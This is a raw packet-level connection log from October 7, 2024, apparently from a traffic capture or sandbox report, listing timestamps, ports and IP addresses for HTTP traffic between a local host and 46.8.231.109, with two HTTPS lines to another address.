Oct 7, 2024 18:00:25.507885933 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.507952929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.507970095 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.507985115 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.507999897 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.508017063 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.508018017 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.508018017 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.508032084 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.508053064 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.508063078 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.508836985 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.508852005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.508863926 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.508894920 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.508932114 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.587941885 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.587955952 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.587968111 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.587979078 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.587990046 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.588006020 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.588009119 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.588026047 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.588078976 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.588193893 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.588205099 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.588213921 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.588224888 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.588252068 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.588283062 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.588341951 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.588371038 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.588381052 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.588397980 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.588418007 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.588572025 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.588583946 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.588593960 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.588604927 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.588615894 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.588625908 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.588629961 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.588630915 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.588637114 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.588649035 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.588684082 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.588686943 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.588696003 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.588699102 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.588709116 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.588726044 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.588756084 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.588887930 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.588902950 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.588912964 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.588953018 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.588969946 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.698692083 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.698707104 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.698717117 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.698772907 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.698775053 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.698782921 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.698791981 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.698802948 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.698811054 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.698832035 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.698848963 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.699323893 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.699333906 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.699342966 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.699352980 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.699363947 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.699409008 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.699424982 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.699532032 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.699542046 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.699549913 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.699583054 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.699598074 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.699996948 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.700006962 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.700016022 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.700052977 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.700067043 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.700344086 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.700355053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.700364113 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.700375080 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.700397968 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.700416088 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.700721979 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.700732946 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.700743914 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.700771093 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.700784922 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.701034069 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.701044083 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.701052904 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.701096058 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.701180935 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.701189995 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.701199055 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.701225042 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.701252937 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.701378107 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.701421022 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.701576948 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.701630116 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.701656103 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.701668024 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.701677084 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.701706886 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.701734066 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.701826096 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.701838970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.701847076 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.701857090 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.701865911 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.701869965 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.701889992 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.701920986 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.701941013 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.701951027 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.701960087 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.701970100 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.701982021 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.702003956 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.702004910 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.702013969 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.702023029 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.702033997 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.702044964 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.702070951 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.702286959 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.702330112 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.839982033 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.839994907 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.840004921 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.840014935 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.840111017 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.840162992 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.840486050 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.840533972 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.840630054 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.840640068 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.840651035 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.840660095 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.840679884 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.840712070 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.840797901 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.840809107 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.840817928 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.840827942 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.840838909 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.840841055 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.840861082 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.840876102 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.840917110 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.840960026 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.841047049 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.841057062 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.841067076 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.841078043 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.841083050 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.841088057 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.841098070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.841103077 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.841118097 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.841131926 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.841154099 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.841322899 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.841332912 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.841351986 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.841360092 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.841362953 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.841383934 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.841412067 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.841645002 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.841654062 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.841667891 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.841679096 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.841687918 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.841697931 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.841727018 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.842221022 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.842268944 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.842268944 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.842281103 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.842291117 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.842307091 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.842312098 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.842329025 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.842354059 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.843544006 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.843555927 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.843565941 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.843576908 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.843599081 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.843625069 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.843651056 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.843660116 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.843666077 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.843674898 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.843684912 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.843694925 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.843702078 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.843723059 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.843743086 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.843863010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.843873978 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.843883038 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.843902111 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.843918085 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.844291925 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.844301939 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.844311953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.844321966 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.844332933 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.844340086 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.844345093 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.844357014 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.844357967 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.844367981 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.844377995 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.844382048 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.844404936 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.844419003 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.845202923 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.845212936 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.845222950 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.845256090 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.845284939 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.845362902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.845374107 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.845386028 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.845396042 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.845407963 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.845438957 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.845586061 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.845594883 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.845606089 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.845618963 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.845629930 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.845643997 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.845674038 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.845731974 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.845741034 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.845751047 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.845761061 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.845772028 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.845774889 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.845803022 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.845815897 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.845829964 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.845839024 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.845849037 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.845859051 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.845870018 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.845870018 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.845886946 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.845916986 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.847330093 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.847342968 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.847352028 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.847393036 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.847404957 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.847647905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.847657919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.847666979 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.847676992 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.847692966 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.847722054 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.848146915 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.848156929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.848166943 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.848187923 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.848216057 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.848385096 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.848395109 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.848406076 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.848417044 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.848426104 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.848459959 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.848786116 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.848794937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.848804951 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.848840952 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.848856926 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.848871946 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.848915100 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.848915100 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.848926067 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.848952055 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.848964930 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.849033117 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.849071980 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.849636078 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.849644899 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.849654913 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.849689960 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.849725962 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.850148916 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.850202084 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.907699108 CEST	49674	443	192.168.2.6	173.222.162.64
Oct 7, 2024 18:00:25.923317909 CEST	49673	443	192.168.2.6	173.222.162.64
Oct 7, 2024 18:00:25.977490902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.977510929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.977519989 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.977565050 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.977596045 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.977662086 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.977715969 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.977803946 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.977816105 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.977826118 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.977849007 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.977869034 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.982079029 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.982098103 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.982109070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.982137918 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.982152939 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.982629061 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.982662916 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.982671976 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.982676029 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.982700109 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.982714891 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:25.982770920 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.982783079 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:25.982794046 CEST	80	49718	46.8.231.109	192.168.2.6
